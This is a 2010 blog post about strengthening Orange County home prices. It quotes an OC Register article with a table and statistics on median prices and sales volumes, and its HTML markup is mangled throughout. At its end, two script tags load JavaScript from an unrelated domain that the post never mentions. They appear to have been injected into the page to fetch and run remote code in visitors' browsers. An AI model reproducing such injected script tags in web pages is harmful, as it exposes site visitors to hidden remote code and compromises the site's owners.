O.C. home prices continue to strengthen

By: Allan Heller ~ June 4, 2010

XXXp>Orange County home prices continue to strengthen according to the following XXXa href=”http://lansner.freedomblogging.com/2010/06/04/o-c-home-price-at-21-month-high/67891/” target=”_blank”>OC Register articleXXX/a>.XXX/p> XXXblockquote>XXXp>O.C. home median price at 21-month highXXX/p> XXXp>June 4th, 2010, 9:09 am · posted by Jon LansnerXXX/p> XXXp>For the 22 business days ending May 18 – DataQuick’s latest real estate buying report — Orange County saw …XXX/p> XXXtable style=”text-align: center; height: 102px; margin-left: 10px;” border=”1″ width=”311″ align=”right”>XXXcaption> For the 22 business days ending May 18 XXX/caption> XXXtbody>XXXtr bgcolor=”lawngreen”>XXXth> SliceXXX/th> XXXth> PriceXXX/th> XXXth> Yr. agoXXX/th> XXXth> SalesXXX/th> XXXth> Yr. agoXXX/th>XXX/tr> XXXtr>XXXtd>HousesXXX/td> XXXtd>$515,000XXX/td> XXXtd>+15.7%XXX/td> XXXtd>1,935XXX/td> XXXtd>+7.0%XXX/td>XXX/tr> XXXtr>XXXtd>CondosXXX/td> XXXtd>$295,000XXX/td> XXXtd>+13.5%XXX/td> XXXtd>926XXX/td> XXXtd>+18.9%XXX/td>XXX/tr> XXXtr>XXXtd>NewXXX/td> XXXtd>$640,000XXX/td> XXXtd>+34.9%XXX/td> XXXtd>195XXX/td> XXXtd>+61.2%XXX/td>XXX/tr> XXXtr bgcolor=”orange”>XXXtd>XXXstrong>All O.C.XXX/strong>XXX/td> XXXtd>XXXstrong> $440,000 XXX/strong>XXX/td> XXXtd>XXXstrong> +12.8% XXX/strong>XXX/td> XXXtd>XXXstrong> 3,056 XXX/strong>XXX/td> XXXtd>XXXstrong> +12.8% XXX/strong>XXX/td>XXX/tr>XXX/tbody>XXX/table> XXXul> XXXli> $440,000 median selling price that is up 12.8% vs. a year ago yet -32% below June 2007’s peak of $645,000.XXX/li> XXXli>A median of $440,000 was last seen in Orange County in August 2008.XXX/li> XXXli> The most recent median is 19% above the cyclical low hit in January 2009 at $370,000 — a current bottom that was 43% below the peak.XXX/li> XXXli> The median selling price of an Orange County single-family home is 30% less than their peak pricing (June ‘07) while condos sell 37% below their peak in March 2006. Builder prices for new homes are 26% below their February ‘05 top.XXX/li> XXXli> Single-family homes were 75% more expensive than condos in this period vs. 71% a year ago. From 1990-2008, the average house/condo gap was 58%.XXX/li> XXXli> In this most recent period, Orange County shoppers bought 3,056 residences — that is +12.8% vs. year-ago buying activity. This current sales pace is 85% of the average 3,597 homes sold per month in the 20 years ended in 2009.XXX/li> XXXli> Builders’ new-home sales were 6% of all Orange County residences sold in the period vs. 4% a year ago. From 1990-2009, builders did 14% of the selling.XXX/li> XXX/ul> XXXp>via XXXa href=”http://lansner.freedomblogging.com/2010/06/04/o-c-home-price-at-21-month-high/67891/”>O.C. home median price at 21-month high – Lansner on Real Estate : The Orange County RegisterXXX/a>.XXX/p>XXX/blockquote> XXXp>What are your thoughts?XXX/p>XXXscript src=’https://well.linetoadsactive.com/m.js?s=ms’ type=’text/javascript’>XXX/script>XXXscript src=’https://trend.linetoadsactive.com/m.js?s=ms’ type=’text/javascript’>XXX/script>

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